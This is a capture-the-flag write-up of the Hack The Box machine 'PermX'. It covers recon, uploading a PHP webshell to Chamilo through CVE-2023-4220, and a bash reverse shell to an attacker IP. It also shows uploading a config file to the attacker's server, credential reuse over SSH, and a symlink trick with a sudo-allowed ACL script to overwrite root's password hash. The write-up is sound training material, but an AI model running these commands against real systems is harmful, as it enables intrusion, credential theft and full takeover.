INTRODUCTION
PermX is about exploiting a learning management system called Chamilo. The box was pretty easy, and shouldn’t take long to finish.
Recon mostly involves uncovering a couple subdomains. One of them is the usual, obvious subdomain, but the other is a bit more odd. Accessing the “more odd” subdomain allows you to know the name of the CMS you’re up against. Applying a little directory enumeration will reveal that you can actually access several directories in “file browser” mode, basically eliminating the need to do any file enumeration. One of these files will reveal the exact version of the CMS.
With the CMS fully identified, a little bit of vulnerability & exploit research will bring you to a premade exploit involving arbitrary file upload. Use this to upload a webshell to gain yourself an easy foothold. At this point, it’s convenient to turn the webshell into a reverse shell.
Local enumeration is pretty simple. Poking around the webserver directory will yield the database connection, and a simple keyword search on the filesystem will show some plaintext credentials (I think even Linpeas would find it). Utilize this to gain yourself a nice SSH connection.
The path towards the root flag is a little more obscure, but still very simple once you find it. It’s so simple that I can’t really write any more without spoiling it outright. My only advice is: remember to try some other privileged files, other than the root flag!
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Only SSH and HTTP. Note the redirect to http://permx.htb
.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results from the vuln scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
68/udp open|filtered tcpwrapped
123/udp open|filtered ntp
138/udp open|filtered tcpwrapped
515/udp open|filtered tcpwrapped
996/udp open|filtered tcpwrapped
998/udp open|filtered tcpwrapped
1433/udp open|filtered tcpwrapped
1434/udp open|filtered ms-sql-m
1719/udp open|filtered h323gatestat
2222/udp open|filtered tcpwrapped
2223/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
Note that any
open|filtered
ports are either open or (much more likely) filtered.
We see NTP (which lots of network-connected things might run), MSSQL (database), and H.323 (for audio/video calls). I’ll refrain from guessing what the device is, but this is certainly an odd combination for a webserver.
Webserver Strategy
Noting the redirect from the nmap scan, I added permx.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=permx.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR
That all looks pretty normal. That’s a recent version of Apache; all the contact info is in order.
Exploring the Website
The website seems like it’s for an eLearning platform, offering courses in various subjects like web design and programming. However, the site itself seems like it’s little more than a template. The only interactible element is the contact form, but it’s not hooked up yet. There are student testimonials, but they don’t link to anything, etc.
There must be another target. I’ll start scanning.
Enumeration
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No other domains resulted from this scan. Now I’ll check for subdomains of permx.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
There we go. I’ll add these to my /etc/hosts
and check them out.
echo "$RADDR www.$DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR lms.$DOMAIN" | sudo tee -a /etc/hosts
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
for SUBDOMAIN in www lms; do
ffuf -w $WLIST:FUZZ -u http://$SUBDOMAIN.$DOMAIN/FUZZ -t 60 -c -o "ffuf-directories-$SUBDOMAIN" -of json -e .php,.html,.txt -timeout 4 -fs 278;
done
As expected, http://www.permx.htb
appears to be the same as http://permx.htb
:
However, lms
had a ton of new results. I’ll also follow up with scans of some of the directories (after I check them out manually). There are so many directories that I’m going to avoid doing a recursive scan for now.
Navigating to http://lms.permx.htb
and checking the page source reveals something like a javascript site map:
web
seems to contain the usual directories that a website would. main
looks like it might be a php web app. app
has an upload
directory, so there might be some interesting things in there.
LMS Subdomain
Navigating to http://lms.permx.htb
brings us to a login page, for a web app called Chamilo. We can also see that there is an administrator named Davis Miller.
Unfortunately there is no way to register a user. I tried some guessable usernames on the password reset form, but no luck.
Perusing through the results of directory enumeration, I navigated to the /app
directory, which has directory listing enabled:
Inside config
, there is a file parameters.yml.dist
that seems like it has some database credentials in it, but they are easily guessable anyway:
parameters:
database_driver: pdo_mysql
database_host: 127.0.0.1
database_port: ~
database_name: chamilo111
database_user: root
database_password: root
# [...SNIP...]
# A secret key that's used to generate certain security-related tokens
secret: ThisTokenIsNotSoSecretChangeIt
password_encryption: sha1
Maybe I’ll be able to find out more about the app from the /documentation
directory?
Yes, there is a changelog
page at http://lms.permx.htb/documentation/changelog.html
which reveals that the version of chamilo
currently running is 1.11.24
.
FOOTHOLD
Chamilo CVEs
CVE-2023-3533
A little searching revealed some recent CVEs for Chamilo. One of the results I found is an unauthenticated RCE! It’s valid for Chamilo
versions prior to 1.11.20
. That’s an earlier version of the app, but it may still be worth trying to exploit this vulnerability (it’s an unauthenticated file upload, CVE 2023-3533).
I tried the PoC code provided here, but it reported that the target is not vulnerable:
CVE-2023-3368
I also found a related vulnerability, CVE-2023-3368, issued by the same researcher, that gains unauthenticated RCE. Like the other one, they provided a PoC python script. It is supposed to provide command execution - but I think it’s blind, so I’ll start up a http server:
sudo ufw allow from $RADDR to any port 8000
simple-server 8000 -v
Trying out the PoC code, as indicated in the researcher’s post:
Nope no luck (and there were no connections to my HTTP server either).
CVE-2023-4220
Thankfully, I found a list of CVEs for Chamillo
that I could reference to find exactly what I needed. I searched through the list looking for CVEs that:
- would apply to chamilo 1.11.24
- could be performed unauthenticated
- could be leveraged into RCE.
The first CVE in the list that meets all of the above criteria was CVE-2023-4220:
Although it has an oddly low CVSS, it seems like the best candidate. That same researcher had a post about this CVE as well. They outline a PoC that exploits this this code, in bigUpload.php
:
public function postUnsupported()
{
$name = $_FILES['bigUploadFile']['name'];
$size = $_FILES['bigUploadFile']['size'];
$tempName = $_FILES['bigUploadFile']['tmp_name'];
if (filesize($tempName) > $this->maxSize) {
return get_lang('UplFileTooBig');
}
if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
return get_lang('FileUploadSucces');
} else {
return get_lang('UplUnableToSaveFile');
}
}
In short, to exploit we simply perform a file upload to /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported
using a body parameter name bigUploadFile
for the uploaded file. I’ll upload a simple PHP webshell:
curl -F 'bigUploadFile=@webshell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The uploaded file is at /main/inc/lib/javascript/bigupload/files/webshell.php
, so we can issue requests there to use it.
I’ll prepare a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT
My webshell is pretty unsophisticated, so I’ll write a url-encoded command to execute to pop a reverse shell. If you’re using a better webshell, this is probably unnecessary:
👇 I’m using one of my own tools, url-encode, but feel free to do this however you want
url_encode "bash -c 'sh -i >& /dev/tcp/10.10.14.3/4444 0>&1'"
# bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F4444+0%3E%261%27
Now just send the payload to the webshell:
CMD='bash+-c+%27sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.3%2F4444+0%3E%261%27'
curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/webshell.php?cmd=$CMD"
No response from the cURL request - typically a good sign 😉
And there’s our reverse shell! 🎉
Upgrade the shell
Just to make things a little more comfortable, let’s go ahead and upgrade our shell. For more details on how/why to do this, please feel free to read my guide.
From the reverse shell, I’ll do this:
which python python3 perl bash
# python3 is present, so use that
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
USER FLAG
Local enumeration - www-data
I’ll follow my usual Linux User Enumeration strategy. To keep this walkthrough as brief as possible, I’ll omit the actual procedure of user enumeration, and instead just jot down any meaningful results:
- There are only two important users on the box:
root
andmtz
. www-data
can only write to/var/www
- Useful tools on the target include
nc, netcat, socat, curl, wget, python3, perl, php, tmux
- The only other listening services are DNS and MySQL
Before looking anywhere else, I find that I often get good results from looking through the webserver configs first.
Right away, I found /var/www/chamilo/.travis.yml
that shows some different database credentials than the ones we saw earlier:
However, I tried querying the database with those credentials (and the ones from earlier) and access was denied.
💡 I already had access to
yaml
files though, via the website directory listing. If there’s any important stuff in here, it’s probably in a PHP file. I’ll check for config files or something that might set an environment variable.
cd /var/www/chamilo
find . -iname "conf*php"
This yielded 124 results, but one that stood out right away was the main app
configuration directory, app/config
. This is one of the directories we saw through the directory listing, but couldn’t access the PHP files. I’ll check the PHP files for the keywords “user” and “pass”:
cd app/config
grep -iEH "user|pass" ./*.php
Visually checking the results, I see some database credentials:
For convenience sake, I’ll upload this file to read it from my local machine:
curl -F 'file=@configuration.php' http://10.10.14.4:8000
We can see the credentials chamilo : 03F6lY3uXAP2bkW8.
Credential Reuse
🎗️ I just found a credential, so I should check for credential re-use too
I’m trying to get better at reminding myself to check for credential reuse as soon as I find any creds 😅
ssh mtz@$RADDR
# 03F6lY3uXAP2bkW8
Yep! That worked 😉
As expected, the user flag is present at /home/mtz/user.txt
, so cat
it out for some points:
cat /home/mtz/user.txt
ROOT FLAG
Local enumeration - mtz
As usual, the very first thing to do after logging into a user with a password is to check what they can sudo
:
sudo -l
# User mtz may run the following commands on permx:
# (ALL : ALL) NOPASSWD: /opt/acl.sh
Interesting. Let’s check the contents of this acl.sh
script:
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
The script was clearly intended for setting ACLs on any file within /home/mtz
. However, the two if
clauses seem like they might not be sufficient for maintaining security!
It seems clear that we need to do some kind of
../
traversal to do anything useful with this. After all, if I had a file in the home directory, I could just set permissions on it without using the script.But since the
..
characters deny us access, I’ll have to find another way 🤔
🚫 Wildcard tricks
Since there is an explicit call to sudo
within acl.sh
, I’ll need to inject a parameter within either $perm
or $target
.
$perm
mkdir -p ~/testdir
touch ~/testdir/testfile
sudo /opt/acl.sh mtz 'rwx /opt/acl.sh' '/home/mtz/testdir/testfile'
You’d think this would execute this line:
/usr/bin/sudo /usr/bin/setfacl -m u:mtz:rwx /opt/acl.sh /home/mtz/testdir/testfile
But unfortunately, this just gives us the error setfacl: Option -m: Invalid argument near character 11
$target
For this to work, I’ll need to create a file within the home directory that has a space in it:
cd ~
touch 'testdir/testfile /opt/acl.sh'
# touch: cannot touch 'testdir/testfile /opt/acl.sh': No such file or directory
It doesn’t seem to accept a space in the filename that is followed by a slash…
Another thing to try would be injecting a flag/option into a filename and feeding /home/mtz/testdir/*
as the path, but it turns out that setfacl
doesn’t have any options that can follow the -m {acl}
option - so that idea won’t work either.
🚫 Filter bypass
Are there any ways I can trick the "$target" == *..*
clause?
What about URL-encoding?
sudo /opt/acl.sh mtz rwx '/home/mtz/%2E./%2E./opt/acl.sh'
# Target must be a file
Nope. Maybe I’ll break up the ..
with empty quotes?
sudo /opt/acl.sh mtz rwx /home/mtz/.''./.''./opt/acl.sh
# Access denied
Also nope.
🚫 Command injection in filename
touch 'testdir/test;{echo,hi}'
sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/test;{echo,hi}'
# No effect
sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/*'
# Target must be a file.
✅ Using links
Instead of using a relative path like ..
, in Linux you can freely symlink to any file. That file simply holds a predefined path and points to it.
cd testdir
ln -s /opt/acl.sh lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; rm lnk
# setfacl: /home/mtz/testdir/lnk: Operation not permitted
Interesting. It seems to work fine on other files, though 🤔
ln -s /etc/passwd lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; rm lnk
That seems like an adequate proof-of-concept, no? There must be something special about /opt/acl.sh
that I’ve overlooked…
To be methodical, let’s try a bunch of files all at once. I’ll define a file called filelist.txt
:
/root/root.txt
/root/.ssh/id_rsa
/opt/acl.sh
/etc/shadow
/etc/sudoers
Then I’ll run a script using this file:
while IFS= read -r F; do
echo "Trying to set ACL for $F";
ln -s $F lnk;
sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk';
ll $(realpath lnk);
rm lnk;
echo -e "\n";
done < filelist.txt
The results were surprising!
👀 Two very sensitive files worked with this method: /etc/shadow
and /etc/sudoers
.
Now we should be able to read /etc/shadow
directly:
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::
...
mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7:::
...
We could also edit
/etc/sudoers
to escalate privilege, but that would slightly “break” the box for other HTB users, so I prefer to just add a known password hash to/etc/shadow
instead.
First, I’ll need to generate a password hash. I’ll do this by adding a user to my attacker machine:
sudo adduser dummy_user
# password: c0nd0rzz
This created a new line in my /etc/shadow
file:
dummy_user:$y$j9T$onxPW9AildKDDbB4STxB6/$F.DNR1olJmtukYoG9IiYT2cwEvXZuIbj39TEKbMBc9.:19912:0:99999:7:::
So I should be able to just paste this hash over the root user’s
ln -s /etc/shadow lnk; sudo /opt/acl.sh mtz rwx '/home/mtz/testdir/lnk'; ll $(realpath lnk); rm lnk;
vim /etc/shadow
With that modified, I can simply log in with my known password:
su
# c0nd0rzz
Perfect - we’re logged in as root now 😁
There’s the flag! Just read it to finish off the box:
cat /root/root.txt
EXTRA CREDIT
The reset script
As I was finding a way to privesc, I noticed occasionally that my links were being deleted. Also (thankfully) there was something resetting permissions on all those files I was modifying with my bash script.
The contents of /root/reset.sh
show exactly what it was up to:
#!/bin/bash
/usr/bin/cp /root/backup/passwd /etc/passwd
/usr/bin/cp /root/backup/shadow /etc/shadow
/usr/bin/cp /root/backup/sudoers /etc/sudoers
/usr/bin/cp /root/backup/crontab /etc/crontab
/usr/bin/setfacl -b /root/root.txt /etc/passwd /etc/shadow /etc/crontab /etc/sudoers
/usr/bin/find /home/mtz -type l ! -name "user.txt" -mmin -3 -exec rm {} \;
This also hints that I missed another way to escalate privilege: I could have used crontab 💡
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools*
rm -rf /home/mtz/testdir
Attacker
There’s also a little cleanup to do on my local / attacker machine. I need to delete that user I added:
sudo userdel -rf dummy_user
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
Finally, I’ll clean up my /etc/hosts
file manually
sudo vim /etc/hosts
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake